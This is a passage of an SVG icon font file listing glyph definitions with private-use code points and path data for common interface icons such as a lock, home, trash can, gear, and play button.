<glyph unicode="&#xf026;" d="M 192,296l0-272 q0-6.5 -4.75-11.25t-11.25-4.75t-11.25,4.75l-83.25,83.25l-65.5,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,96 q0,6.5 4.75,11.25t 11.25,4.75l 65.5,0 l 83.25,83.25q 4.75,4.75 11.25,4.75t 11.25-4.75t 4.75-11.25z" horiz-adv-x="192"  />
<glyph unicode="&#xf025;" d="M 416,162.5q0-41.5 -15-78.5l-5-12.25l-46.25-8.25q-5.5-20.75 -22.625-34.125t-39.125-13.375l0-8 q0-3.5 -2.25-5.75t-5.75-2.25l-16,0 q-3.5,0 -5.75,2.25t-2.25,5.75l0,144 q0,3.5 2.25,5.75t 5.75,2.25l 16,0 q 3.5,0 5.75-2.25t 2.25-5.75l0-8 q 17.75,0 32.5-8.875t 23.25-23.875l 17,3q 7.25,23.75 7.25,48.25q0,37 -22,69.75t-59.125,52.25t-78.875,19.5 t-78.875-19.5t-59.125-52.25t-22-69.75q0-24.5 7.25-48.25l 17-3q 8.5,15 23.25,23.875t 32.5,8.875l0,8 q0,3.5 2.25,5.75t 5.75,2.25l 16,0 q 3.5,0 5.75-2.25t 2.25-5.75l0-144 q0-3.5 -2.25-5.75t-5.75-2.25l-16,0 q-3.5,0 -5.75,2.25t-2.25,5.75l0,8 q-22,0 -39.125,13.375t-22.625,34.125l-46.25,8.25l-5,12.25q-15,37 -15,78.5q0,37.75 16.75,72.75t 44.75,60.625 t 66.5,40.875t 80,15.25t 80-15.25t 66.5-40.875t 44.75-60.625t 16.75-72.75z" horiz-adv-x="416"  />
<glyph unicode="&#xf024;" d="M 80,320q0-18 -16-27.5l0-316.5 q0-3.25 -2.375-5.625t-5.625-2.375l-16,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,316.5 q-16,9.5 -16,27.5q0,13.25 9.375,22.625t 22.625,9.375t 22.625-9.375t 9.375-22.625zM 448,304l0-190.75 q0-6.25 -3.125-9.625t-9.875-6.875q-53.75-29 -92.25-29q-15.25,0 -30.875,5.5t-27.125,12 t-28.875,12t-35.625,5.5q-48,0 -116-36.5q-4.25-2.25 -8.25-2.25q-6.5,0 -11.25,4.75t-4.75,11.25l0,185.5 q0,8 7.75,13.75q 5.25,3.5 19.75,10.75q 59,30 105.25,30q 26.75,0 50-7.25t 54.75-22q 9.5-4.75 22-4.75q 13.5,0 29.375,5.25t 27.5,11.75t 22,11.75t 13.625,5.25q 6.5,0 11.25-4.75t 4.75-11.25z"  />
<glyph unicode="&#xf023;" d="M 80,192l 128,0 l0,48 q0,26.5 -18.75,45.25t-45.25,18.75t-45.25-18.75t-18.75-45.25l0-48 zM 288,168l0-144 q0-10 -7-17t-17-7l-240,0 q-10,0 -17,7t-7,17l0,144 q0,10 7,17t 17,7l 8,0 l0,48 q0,46 33,79t 79,33t 79-33t 33-79l0-48 l 8,0 q 10,0 17-7t 7-17z" horiz-adv-x="288"  />
<glyph unicode="&#xf022;" d="M 96,88l0-16 q0-3.25 -2.375-5.625t-5.625-2.375l-16,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,16 q0,3.25 2.375,5.625t 5.625,2.375l 16,0 q 3.25,0 5.625-2.375t 2.375-5.625zM 96,152l0-16 q0-3.25 -2.375-5.625t-5.625-2.375l-16,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,16 q0,3.25 2.375,5.625t 5.625,2.375l 16,0 q 3.25,0 5.625-2.375t 2.375-5.625z M 96,216l0-16 q0-3.25 -2.375-5.625t-5.625-2.375l-16,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,16 q0,3.25 2.375,5.625t 5.625,2.375l 16,0 q 3.25,0 5.625-2.375t 2.375-5.625zM 384,88l0-16 q0-3.25 -2.375-5.625t-5.625-2.375l-240,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,16 q0,3.25 2.375,5.625t 5.625,2.375l 240,0 q 3.25,0 5.625-2.375t 2.375-5.625z M 384,152l0-16 q0-3.25 -2.375-5.625t-5.625-2.375l-240,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,16 q0,3.25 2.375,5.625t 5.625,2.375l 240,0 q 3.25,0 5.625-2.375t 2.375-5.625zM 384,216l0-16 q0-3.25 -2.375-5.625t-5.625-2.375l-240,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,16 q0,3.25 2.375,5.625t 5.625,2.375l 240,0 q 3.25,0 5.625-2.375 t 2.375-5.625zM 416,40l0,208 q0,3.25 -2.375,5.625t-5.625,2.375l-368,0 q-3.25,0 -5.625-2.375t-2.375-5.625l0-208 q0-3.25 2.375-5.625t 5.625-2.375l 368,0 q 3.25,0 5.625,2.375t 2.375,5.625zM 448,312l0-272 q0-16.5 -11.75-28.25t-28.25-11.75l-368,0 q-16.5,0 -28.25,11.75t-11.75,28.25l0,272 q0,16.5 11.75,28.25t 28.25,11.75l 368,0 q 16.5,0 28.25-11.75 t 11.75-28.25z"  />
<glyph unicode="&#xf021;" d="M 377.75,120q0-1.25 -0.25-1.75q-16-67 -67-108.625t-119.5-41.625q-36.5,0 -70.625,13.75t-60.875,39.25l-32.25-32.25q-4.75-4.75 -11.25-4.75t-11.25,4.75t-4.75,11.25l0,112 q0,6.5 4.75,11.25t 11.25,4.75l 112,0 q 6.5,0 11.25-4.75t 4.75-11.25t-4.75-11.25l-34.25-34.25q 17.75-16.5 40.25-25.5t 46.75-9q 33.5,0 62.5,16.25t 46.5,44.75q 2.75,4.25 13.25,29.25 q 2,5.75 7.5,5.75l 48,0 q 3.25,0 5.625-2.375t 2.375-5.625zM 384,320l0-112 q0-6.5 -4.75-11.25t-11.25-4.75l-112,0 q-6.5,0 -11.25,4.75t-4.75,11.25t 4.75,11.25l 34.5,34.5q-37,34.25 -87.25,34.25q-33.5,0 -62.5-16.25t-46.5-44.75q-2.75-4.25 -13.25-29.25q-2-5.75 -7.5-5.75l-49.75,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,1.75 q 16.25,67 67.5,108.625t 120,41.625 q 36.5,0 71-13.875t 61.25-39.125l 32.5,32.25q 4.75,4.75 11.25,4.75t 11.25-4.75t 4.75-11.25z" horiz-adv-x="384"  />
<glyph unicode="&#xf01e;" d="M 384,320l0-112 q0-6.5 -4.75-11.25t-11.25-4.75l-112,0 q-10.5,0 -14.75,10q-4.25,9.75 3.5,17.25l 34.5,34.5q-37,34.25 -87.25,34.25q-26,0 -49.625-10.125t-40.875-27.375t-27.375-40.875t-10.125-49.625t 10.125-49.625t 27.375-40.875t 40.875-27.375t 49.625-10.125q 29.75,0 56.25,13t 44.75,36.75q 1.75,2.5 5.75,3q 3.5,0 6.25-2.25 l 34.25-34.5q 2.25-2 2.375-5.125t-1.875-5.625q-27.25-33 -66-51.125t-81.75-18.125q-39,0 -74.5,15.25t-61.25,41t-41,61.25t-15.25,74.5t 15.25,74.5t 41,61.25t 61.25,41t 74.5,15.25q 36.75,0 71.125-13.875t 61.125-39.125l 32.5,32.25q 7.25,7.75 17.5,3.5q 9.75-4.25 9.75-14.75z" horiz-adv-x="384"  />
<glyph unicode="&#xf01d;" d="M 296,160q0-9.25 -8-13.75l-136-80q-3.75-2.25 -8-2.25q-4,0 -8,2q-8,4.75 -8,14l0,160 q0,9.25 8,14q 8.25,4.5 16-0.25l 136-80q 8-4.5 8-13.75zM 328,160q0,37 -18.25,68.25t-49.5,49.5t-68.25,18.25t-68.25-18.25t-49.5-49.5t-18.25-68.25t 18.25-68.25t 49.5-49.5t 68.25-18.25t 68.25,18.25t 49.5,49.5t 18.25,68.25zM 384,160 q0-52.25 -25.75-96.375t-69.875-69.875t-96.375-25.75t-96.375,25.75t-69.875,69.875t-25.75,96.375t 25.75,96.375t 69.875,69.875t 96.375,25.75t 96.375-25.75t 69.875-69.875t 25.75-96.375z" horiz-adv-x="384"  />
<glyph unicode="&#xf01c;" d="M 255.75,144l 79,0 q-0.25,0.75 -0.625,2t-0.625,2l-53,124l-177,0 l-53-124q-0.25-0.5 -0.625-2t-0.625-2l 79,0 l 23.75-48l 80,0 zM 384,136.5l0-120.5 q0-6.5 -4.75-11.25t-11.25-4.75l-352,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,120.5 q0,15.5 6.25,30.75l 59.5,138q 2.5,6.25 9.125,10.5t 13.125,4.25l 208,0 q 6.5,0 13.125-4.25t 9.125-10.5l 59.5-138 q 6.25-15.25 6.25-30.75z" horiz-adv-x="384"  />
<glyph unicode="&#xf01b;" d="M 279.5,165q-2-5 -7.5-5l-48,0 l0-88 q0-3.5 -2.25-5.75t-5.75-2.25l-48,0 q-3.5,0 -5.75,2.25t-2.25,5.75l0,88 l-48,0 q-3.5,0 -5.75,2.25t-2.25,5.75q0,3 2.5,6l 79.75,79.75q 2.75,2.25 5.75,2.25t 5.75-2.25l 80-80q 3.75-4 1.75-8.75zM 192,296q-37,0 -68.25-18.25t-49.5-49.5t-18.25-68.25t 18.25-68.25t 49.5-49.5t 68.25-18.25t 68.25,18.25t 49.5,49.5 t 18.25,68.25t-18.25,68.25t-49.5,49.5t-68.25,18.25zM 384,160q0-52.25 -25.75-96.375t-69.875-69.875t-96.375-25.75t-96.375,25.75t-69.875,69.875t-25.75,96.375t 25.75,96.375t 69.875,69.875t 96.375,25.75t 96.375-25.75t 69.875-69.875t 25.75-96.375z" horiz-adv-x="384"  />
<glyph unicode="&#xf01a;" d="M 280,152q0-3 -2.5-6l-79.75-79.75q-2.75-2.25 -5.75-2.25t-5.75,2.25l-80,80q-3.75,4 -1.75,8.75q 2,5 7.5,5l 48,0 l0,88 q0,3.5 2.25,5.75t 5.75,2.25l 48,0 q 3.5,0 5.75-2.25t 2.25-5.75l0-88 l 48,0 q 3.5,0 5.75-2.25t 2.25-5.75zM 192,296q-37,0 -68.25-18.25t-49.5-49.5t-18.25-68.25t 18.25-68.25t 49.5-49.5t 68.25-18.25t 68.25,18.25t 49.5,49.5t 18.25,68.25 t-18.25,68.25t-49.5,49.5t-68.25,18.25zM 384,160q0-52.25 -25.75-96.375t-69.875-69.875t-96.375-25.75t-96.375,25.75t-69.875,69.875t-25.75,96.375t 25.75,96.375t 69.875,69.875t 96.375,25.75t 96.375-25.75t 69.875-69.875t 25.75-96.375z" horiz-adv-x="384"  />
<glyph unicode="&#xf019;" d="M 320,48q0,6.5 -4.75,11.25t-11.25,4.75t-11.25-4.75t-4.75-11.25t 4.75-11.25t 11.25-4.75t 11.25,4.75t 4.75,11.25zM 384,48q0,6.5 -4.75,11.25t-11.25,4.75t-11.25-4.75t-4.75-11.25t 4.75-11.25t 11.25-4.75t 11.25,4.75t 4.75,11.25zM 416,104l0-80 q0-10 -7-17t-17-7l-368,0 q-10,0 -17,7t-7,17l0,80 q0,10 7,17t 17,7l 116.25,0 l 33.75-34 q 14.5-14 34-14t 34,14l 34,34l 116,0 q 10,0 17-7t 7-17zM 334.75,246.25q 4.25-10.25 -3.5-17.5l-112-112q-4.5-4.75 -11.25-4.75t-11.25,4.75l-112,112q-7.75,7.25 -3.5,17.5q 4.25,9.75 14.75,9.75l 64,0 l0,112 q0,6.5 4.75,11.25t 11.25,4.75l 64,0 q 6.5,0 11.25-4.75t 4.75-11.25l0-112 l 64,0 q 10.5,0 14.75-9.75z" horiz-adv-x="416"  />
<glyph unicode="&#xf018;" d="M 277.75,135l0,1 l-6,80q-0.25,3.25 -2.75,5.625t-5.75,2.375l-46.5,0 q-3.25,0 -5.75-2.375t-2.75-5.625l-6-80l0-1 q-0.25-3 2-5t 5.25-2l 61,0 q 3,0 5.25,2t 2,5zM 467.5,18.25q0-18.25 -11.5-18.25l-176,0 q 3.25,0 5.5,2.375t 2,5.625l-5,64q-0.25,3.25 -2.75,5.625t-5.75,2.375l-68,0 q-3.25,0 -5.75-2.375t-2.75-5.625l-5-64 q-0.25-3.25 2-5.625t 5.5-2.375l-176,0 q-11.5,0 -11.5,18.25q0,13.5 6.5,29l 104.25,261q 2,4.75 6.5,8.25t 9.5,3.5l 84.75,0 q-3.25,0 -5.75-2.375t-2.75-5.625l-3.75-48q-0.25-3.5 2-5.75t 5.5-2.25l 41.5,0 q 3.25,0 5.5,2.25t 2,5.75l-3.75,48q-0.25,3.25 -2.75,5.625t-5.75,2.375l 84.75,0 q 5,0 9.5-3.5t 6.5-8.25l 104.25-261q 6.5-15.5 6.5-29z" horiz-adv-x="480"  />
<glyph unicode="&#xf017;" d="M 224,248l0-112 q0-3.5 -2.25-5.75t-5.75-2.25l-80,0 q-3.5,0 -5.75,2.25t-2.25,5.75l0,16 q0,3.5 2.25,5.75t 5.75,2.25l 56,0 l0,88 q0,3.5 2.25,5.75t 5.75,2.25l 16,0 q 3.5,0 5.75-2.25t 2.25-5.75zM 328,160q0,37 -18.25,68.25t-49.5,49.5t-68.25,18.25t-68.25-18.25t-49.5-49.5t-18.25-68.25t 18.25-68.25t 49.5-49.5t 68.25-18.25t 68.25,18.25t 49.5,49.5t 18.25,68.25zM 384,160 q0-52.25 -25.75-96.375t-69.875-69.875t-96.375-25.75t-96.375,25.75t-69.875,69.875t-25.75,96.375t 25.75,96.375t 69.875,69.875t 96.375,25.75t 96.375-25.75t 69.875-69.875t 25.75-96.375z" horiz-adv-x="384"  />
<glyph unicode="&#xf016;" d="M 32,0l 256,0 l0,192 l-104,0 q-10,0 -17,7t-7,17l0,104 l-128,0 l0-320 zM 192,224l 94,0 q-2.5,7.25 -5.5,10.25l-78.25,78.25q-3,3 -10.25,5.5l0-94 zM 320,216l0-224 q0-10 -7-17t-17-7l-272,0 q-10,0 -17,7t-7,17l0,336 q0,10 7,17t 17,7l 160,0 q 10,0 22-5t 19-12l 78-78q 7-7 12-19t 5-22z " horiz-adv-x="320"  />
<glyph unicode="&#xf015;" d="M 352,136l0-120 q0-6.5 -4.75-11.25t-11.25-4.75l-96,0 l0,96 l-64,0 l0-96 l-96,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,120 q0,0.25 0.125,0.75t 0.125,0.75l 143.75,118.5l 143.75-118.5q 0.25-0.5 0.25-1.5zM 407.75,153.25l-15.5-18.5q-2-2.25 -5.25-2.75l-0.75,0 q-3.25,0 -5.25,1.75l-173,144.25l-173-144.25q-3-2 -6-1.75q-3.25,0.5 -5.25,2.75l-15.5,18.5q-2,2.5 -1.75,5.875t 2.75,5.375 l 179.75,149.75q 8,6.5 19,6.5t 19-6.5l 61-51l0,48.75 q0,3.5 2.25,5.75t 5.75,2.25l 48,0 q 3.5,0 5.75-2.25t 2.25-5.75l0-102 l 54.75-45.5q 2.5-2 2.75-5.375t-1.75-5.875z" horiz-adv-x="416"  />
<glyph unicode="&#xf014;" d="M 128,200l0-144 q0-3.5 -2.25-5.75t-5.75-2.25l-16,0 q-3.5,0 -5.75,2.25t-2.25,5.75l0,144 q0,3.5 2.25,5.75t 5.75,2.25l 16,0 q 3.5,0 5.75-2.25t 2.25-5.75zM 192,200l0-144 q0-3.5 -2.25-5.75t-5.75-2.25l-16,0 q-3.5,0 -5.75,2.25t-2.25,5.75l0,144 q0,3.5 2.25,5.75t 5.75,2.25l 16,0 q 3.5,0 5.75-2.25t 2.25-5.75zM 256,200l0-144 q0-3.5 -2.25-5.75t-5.75-2.25l-16,0 q-3.5,0 -5.75,2.25t-2.25,5.75l0,144  q0,3.5 2.25,5.75t 5.75,2.25l 16,0 q 3.5,0 5.75-2.25t 2.25-5.75zM 288,19l0,237 l-224,0 l0-237 q0-5.5 1.75-10.125t 3.625-6.75t 2.625-2.125l 208,0 q 0.75,0 2.625,2.125t 3.625,6.75t 1.75,10.125zM 120,288l 112,0 l-12,29.25q-1.75,2.25 -4.25,2.75l-79.25,0 q-2.5-0.5 -4.25-2.75zM 352,280l0-16 q0-3.5 -2.25-5.75t-5.75-2.25l-24,0 l0-237 q0-20.75 -11.75-35.875t-28.25-15.125l-208,0  q-16.5,0 -28.25,14.625t-11.75,35.375l0,238 l-24,0 q-3.5,0 -5.75,2.25t-2.25,5.75l0,16 q0,3.5 2.25,5.75t 5.75,2.25l 77.25,0 l 17.5,41.75q 3.75,9.25 13.5,15.75t 19.75,6.5l 80,0 q 10,0 19.75-6.5t 13.5-15.75l 17.5-41.75l 77.25,0 q 3.5,0 5.75-2.25t 2.25-5.75z" horiz-adv-x="352"  />
<glyph unicode="&#xf013;" d="M 256,160q0,26.5 -18.75,45.25t-45.25,18.75t-45.25-18.75t-18.75-45.25t 18.75-45.25t 45.25-18.75t 45.25,18.75t 18.75,45.25zM 384,187.25l0-55.5 q0-3 -2-5.75t-5-3.25l-46.25-7q-4.75-13.5 -9.75-22.75q 8.75-12.5 26.75-34.5q 2.5-3 2.5-6.25t-2.25-5.75q-6.75-9.25 -24.75-27t-23.5-17.75q-3,0 -6.5,2.25l-34.5,27q-11-5.75 -22.75-9.5 q-4-34 -7.25-46.5q-1.75-7 -9-7l-55.5,0 q-3.5,0 -6.125,2.125t-2.875,5.375l-7,46q-12.25,4 -22.5,9.25l-35.25-26.75q-2.5-2.25 -6.25-2.25q-3.5,0 -6.25,2.75q-31.5,28.5 -41.25,42q-1.75,2.5 -1.75,5.75q0,3 2,5.75q 3.75,5.25 12.75,16.625t 13.5,17.625q-6.75,12.5 -10.25,24.75l-45.75,6.75q-3.25,0.5 -5.25,3.125t-2,5.875l0,55.5 q0,3 2,5.75t 4.75,3.25 l 46.5,7q 3.5,11.5 9.75,23q-10,14.25 -26.75,34.5q-2.5,3 -2.5,6q0,2.5 2.25,5.75q 6.5,9 24.625,26.875t 23.625,17.875q 3.25,0 6.5-2.5l 34.5-26.75q 11,5.75 22.75,9.5q 4,34 7.25,46.5q 1.75,7 9,7l 55.5,0 q 3.5,0 6.125-2.125t 2.875-5.375l 7-46q 12.25-4 22.5-9.25l 35.5,26.75q 2.25,2.25 6,2.25q 3.25,0 6.25-2.5q 32.25-29.75 41.25-42.5q 1.75-2 1.75-5.5 q0-3 -2-5.75q-3.75-5.25 -12.75-16.625t-13.5-17.625q 6.5-12.5 10.25-24.5l 45.75-7q 3.25-0.5 5.25-3.125t 2-5.875z" horiz-adv-x="384"  />
<glyph unicode="&#xf012;" d="M 64,24l0-48 q0-3.5 -2.25-5.75t-5.75-2.25l-48,0 q-3.5,0 -5.75,2.25t-2.25,5.75l0,48 q0,3.5 2.25,5.75t 5.75,2.25l 48,0 q 3.5,0 5.75-2.25t 2.25-5.75zM 160,56l0-80 q0-3.5 -2.25-5.75t-5.75-2.25l-48,0 q-3.5,0 -5.75,2.25t-2.25,5.75l0,80 q0,3.5 2.25,5.75t 5.75,2.25l 48,0 q 3.5,0 5.75-2.25t 2.25-5.75zM 256,120l0-144 q0-3.5 -2.25-5.75t-5.75-2.25l-48,0 q-3.5,0 -5.75,2.25t-2.25,5.75 l0,144 q0,3.5 2.25,5.75t 5.75,2.25l 48,0 q 3.5,0 5.75-2.25t 2.25-5.75zM 352,216l0-240 q0-3.5 -2.25-5.75t-5.75-2.25l-48,0 q-3.5,0 -5.75,2.25t-2.25,5.75l0,240 q0,3.5 2.25,5.75t 5.75,2.25l 48,0 q 3.5,0 5.75-2.25t 2.25-5.75zM 448,344l0-368 q0-3.5 -2.25-5.75t-5.75-2.25l-48,0 q-3.5,0 -5.75,2.25t-2.25,5.75l0,368 q0,3.5 2.25,5.75t 5.75,2.25l 48,0 q 3.5,0 5.75-2.25t 2.25-5.75z"  />
<glyph unicode="&#xf011;" d="M 384,160q0-39 -15.25-74.5t-41-61.25t-61.25-41t-74.5-15.25t-74.5,15.25t-61.25,41t-41,61.25t-15.25,74.5q0,45.5 20.125,85.75t 56.625,67.5q 10.75,8 23.875,6.25t 20.875-12.5q 8-10.5 6.125-23.625t-12.375-21.125q-24.5-18.5 -37.875-45.25t-13.375-57q0-26 10.125-49.625t 27.375-40.875t 40.875-27.375 t 49.625-10.125t 49.625,10.125t 40.875,27.375t 27.375,40.875t 10.125,49.625q0,30.25 -13.375,57t-37.875,45.25q-10.5,8 -12.375,21.125t 6.125,23.625q 7.75,10.75 21,12.5t 23.75-6.25q 36.5-27.25 56.625-67.5t 20.125-85.75zM 224,352l0-160 q0-13 -9.5-22.5t-22.5-9.5t-22.5,9.5t-9.5,22.5l0,160 q0,13 9.5,22.5t 22.5,9.5t 22.5-9.5t 9.5-22.5z" horiz-adv-x="384"  />
<glyph unicode="&#xf010;" d="M 256,184l0-16 q0-3.25 -2.375-5.625t-5.625-2.375l-144,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,16 q0,3.25 2.375,5.625t 5.625,2.375l 144,0 q 3.25,0 5.625-2.375t 2.375-5.625zM 288,176q0,46.25 -32.875,79.125t-79.125,32.875t-79.125-32.875t-32.875-79.125t 32.875-79.125t 79.125-32.875t 79.125,32.875t 32.875,79.125z M 416-32q0-13.25 -9.375-22.625t-22.625-9.375q-13.5,0 -22.5,9.5l-85.75,85.5q-44.75-31 -99.75-31q-35.75,0 -68.375,13.875t-56.25,37.5t-37.5,56.25t-13.875,68.375t 13.875,68.375t 37.5,56.25t 56.25,37.5t 68.375,13.875t 68.375-13.875t 56.25-37.5t 37.5-56.25t 13.875-68.375q0-55 -31-99.75l 85.75-85.75q 9.25-9.25 9.25-22.5z " horiz-adv-x="416"  />
<glyph unicode="&#xf00e;" d="M 256,184l0-16 q0-3.25 -2.375-5.625t-5.625-2.375l-56,0 l0-56 q0-3.25 -2.375-5.625t-5.625-2.375l-16,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,56 l-56,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,16 q0,3.25 2.375,5.625t 5.625,2.375l 56,0 l0,56 q0,3.25 2.375,5.625t 5.625,2.375l 16,0 q 3.25,0 5.625-2.375t 2.375-5.625l0-56 l 56,0  q 3.25,0 5.625-2.375t 2.375-5.625zM 288,176q0,46.25 -32.875,79.125t-79.125,32.875t-79.125-32.875t-32.875-79.125t 32.875-79.125t 79.125-32.875t 79.125,32.875t 32.875,79.125zM 416-32q0-13.25 -9.375-22.625t-22.625-9.375q-13.5,0 -22.5,9.5l-85.75,85.5q-44.75-31 -99.75-31q-35.75,0 -68.375,13.875 t-56.25,37.5t-37.5,56.25t-13.875,68.375t 13.875,68.375t 37.5,56.25t 56.25,37.5t 68.375,13.875t 68.375-13.875t 56.25-37.5t 37.5-56.25t 13.875-68.375q0-55 -31-99.75l 85.75-85.75q 9.25-9.25 9.25-22.5z" horiz-adv-x="416"  />
<glyph unicode="&#xf00d;" d="M 324.5,53.5q0-10 -7-17l-34-34q-7-7 -17-7t-17,7l-73.5,73.5l-73.5-73.5q-7-7 -17-7t-17,7l-34,34q-7,7 -7,17t 7,17l 73.5,73.5l-73.5,73.5q-7,7 -7,17t 7,17l 34,34q 7,7 17,7t 17-7l 73.5-73.5l 73.5,73.5q 7,7 17,7t 17-7l 34-34q 7-7 7-17 t-7-17l-73.5-73.5l 73.5-73.5q 7-7 7-17z" horiz-adv-x="352"  />
<glyph unicode="&#xf00c;" d="M 417.75,242.5q0-10 -7-17l-181-181l-34-34q-7-7 -17-7t-17,7l-34,34l-90.5,90.5q-7,7 -7,17t 7,17l 34,34q 7,7 17,7t 17-7l 73.5-73.75l 164,164.25q 7,7 17,7t 17-7l 34-34q 7-7 7-17z"  />
<glyph unicode="&#xf00b;" d="M 128,72l0-48 q0-10 -7-17t-17-7l-80,0 q-10,0 -17,7t-7,17l0,48 q0,10 7,17t 17,7l 80,0 q 10,0 17-7t 7-17zM 128,200l0-48 q0-10 -7-17t-17-7l-80,0 q-10,0 -17,7t-7,17l0,48 q0,10 7,17t 17,7l 80,0 q 10,0 17-7t 7-17zM 448,72l0-48 q0-10 -7-17t-17-7l-240,0  q-10,0 -17,7t-7,17l0,48 q0,10 7,17t 17,7l 240,0 q 10,0 17-7t 7-17zM 128,328l0-48 q0-10 -7-17t-17-7l-80,0 q-10,0 -17,7t-7,17l0,48 q0,10 7,17t 17,7l 80,0 q 10,0 17-7t 7-17zM 448,200l0-48 q0-10 -7-17t-17-7l-240,0 q-10,0 -17,7t-7,17l0,48 q0,10 7,17t 17,7 l 240,0 q 10,0 17-7t 7-17zM 448,328l0-48 q0-10 -7-17t-17-7l-240,0 q-10,0 -17,7t-7,17l0,48 q0,10 7,17t 17,7l 240,0 q 10,0 17-7t 7-17z"  />
<glyph unicode="&#xf00a;" d="M 128,72l0-48 q0-10 -7-17t-17-7l-80,0 q-10,0 -17,7t-7,17l0,48 q0,10 7,17t 17,7l 80,0 q 10,0 17-7t 7-17zM 128,200l0-48 q0-10 -7-17t-17-7l-80,0 q-10,0 -17,7t-7,17l0,48 q0,10 7,17t 17,7l 80,0 q 10,0 17-7t 7-17zM 288,72l0-48 q0-10 -7-17t-17-7l-80,0  q-10,0 -17,7t-7,17l0,48 q0,10 7,17t 17,7l 80,0 q 10,0 17-7t 7-17zM 128,328l0-48 q0-10 -7-17t-17-7l-80,0 q-10,0 -17,7t-7,17l0,48 q0,10 7,17t 17,7l 80,0 q 10,0 17-7t 7-17zM 288,200l0-48 q0-10 -7-17t-17-7l-80,0 q-10,0 -17,7t-7,17l0,48 q0,10 7,17t 17,7 l 80,0 q 10,0 17-7t 7-17zM 448,72l0-48 q0-10 -7-17t-17-7l-80,0 q-10,0 -17,7t-7,17l0,48 q0,10 7,17t 17,7l 80,0 q 10,0 17-7t 7-17zM 288,328l0-48 q0-10 -7-17t-17-7l-80,0 q-10,0 -17,7t-7,17l0,48 q0,10 7,17t 17,7l 80,0 q 10,0 17-7t 7-17zM 448,200l0-48  q0-10 -7-17t-17-7l-80,0 q-10,0 -17,7t-7,17l0,48 q0,10 7,17t 17,7l 80,0 q 10,0 17-7t 7-17zM 448,328l0-48 q0-10 -7-17t-17-7l-80,0 q-10,0 -17,7t-7,17l0,48 q0,10 7,17t 17,7l 80,0 q 10,0 17-7t 7-17z"  />
<glyph unicode="&#xf009;" d="M 192,128l0-96 q0-13 -9.5-22.5t-22.5-9.5l-128,0 q-13,0 -22.5,9.5t-9.5,22.5l0,96 q0,13 9.5,22.5t 22.5,9.5l 128,0 q 13,0 22.5-9.5t 9.5-22.5zM 192,320l0-96 q0-13 -9.5-22.5t-22.5-9.5l-128,0 q-13,0 -22.5,9.5t-9.5,22.5l0,96 q0,13 9.5,22.5t 22.5,9.5l 128,0 q 13,0 22.5-9.5t 9.5-22.5zM 416,128l0-96 q0-13 -9.5-22.5t-22.5-9.5 l-128,0 q-13,0 -22.5,9.5t-9.5,22.5l0,96 q0,13 9.5,22.5t 22.5,9.5l 128,0 q 13,0 22.5-9.5t 9.5-22.5zM 416,320l0-96 q0-13 -9.5-22.5t-22.5-9.5l-128,0 q-13,0 -22.5,9.5t-9.5,22.5l0,96 q0,13 9.5,22.5t 22.5,9.5l 128,0 q 13,0 22.5-9.5t 9.5-22.5z" horiz-adv-x="416"  />
<glyph unicode="&#xf008;" d="M 96-16l0,32 q0,6.5 -4.75,11.25t-11.25,4.75l-32,0 q-6.5,0 -11.25-4.75t-4.75-11.25l0-32 q0-6.5 4.75-11.25t 11.25-4.75l 32,0 q 6.5,0 11.25,4.75t 4.75,11.25zM 96,80l0,32 q0,6.5 -4.75,11.25t-11.25,4.75l-32,0 q-6.5,0 -11.25-4.75t-4.75-11.25l0-32 q0-6.5 4.75-11.25t 11.25-4.75l 32,0 q 6.5,0 11.25,4.75t 4.75,11.25zM 96,176l0,32 q0,6.5 -4.75,11.25t-11.25,4.75l-32,0  q-6.5,0 -11.25-4.75t-4.75-11.25l0-32 q0-6.5 4.75-11.25t 11.25-4.75l 32,0 q 6.5,0 11.25,4.75t 4.75,11.25zM 352-16l0,128 q0,6.5 -4.75,11.25t-11.25,4.75l-192,0 q-6.5,0 -11.25-4.75t-4.75-11.25l0-128 q0-6.5 4.75-11.25t 11.25-4.75l 192,0 q 6.5,0 11.25,4.75t 4.75,11.25zM 96,272l0,32 q0,6.5 -4.75,11.25t-11.25,4.75l-32,0 q-6.5,0 -11.25-4.75t-4.75-11.25l0-32 q0-6.5 4.75-11.25 t 11.25-4.75l 32,0 q 6.5,0 11.25,4.75t 4.75,11.25zM 448-16l0,32 q0,6.5 -4.75,11.25t-11.25,4.75l-32,0 q-6.5,0 -11.25-4.75t-4.75-11.25l0-32 q0-6.5 4.75-11.25t 11.25-4.75l 32,0 q 6.5,0 11.25,4.75t 4.75,11.25zM 352,176l0,128 q0,6.5 -4.75,11.25t-11.25,4.75l-192,0 q-6.5,0 -11.25-4.75t-4.75-11.25l0-128 q0-6.5 4.75-11.25t 11.25-4.75l 192,0 q 6.5,0 11.25,4.75t 4.75,11.25zM 448,80l0,32  q0,6.5 -4.75,11.25t-11.25,4.75l-32,0 q-6.5,0 -11.25-4.75t-4.75-11.25l0-32 q0-6.5 4.75-11.25t 11.25-4.75l 32,0 q 6.5,0 11.25,4.75t 4.75,11.25zM 448,176l0,32 q0,6.5 -4.75,11.25t-11.25,4.75l-32,0 q-6.5,0 -11.25-4.75t-4.75-11.25l0-32 q0-6.5 4.75-11.25t 11.25-4.75l 32,0 q 6.5,0 11.25,4.75t 4.75,11.25zM 448,272l0,32 q0,6.5 -4.75,11.25t-11.25,4.75l-32,0 q-6.5,0 -11.25-4.75 t-4.75-11.25l0-32 q0-6.5 4.75-11.25t 11.25-4.75l 32,0 q 6.5,0 11.25,4.75t 4.75,11.25zM 480,312l0-336 q0-16.5 -11.75-28.25t-28.25-11.75l-400,0 q-16.5,0 -28.25,11.75t-11.75,28.25l0,336 q0,16.5 11.75,28.25t 28.25,11.75l 400,0 q 16.5,0 28.25-11.75t 11.75-28.25z" horiz-adv-x="480"  />
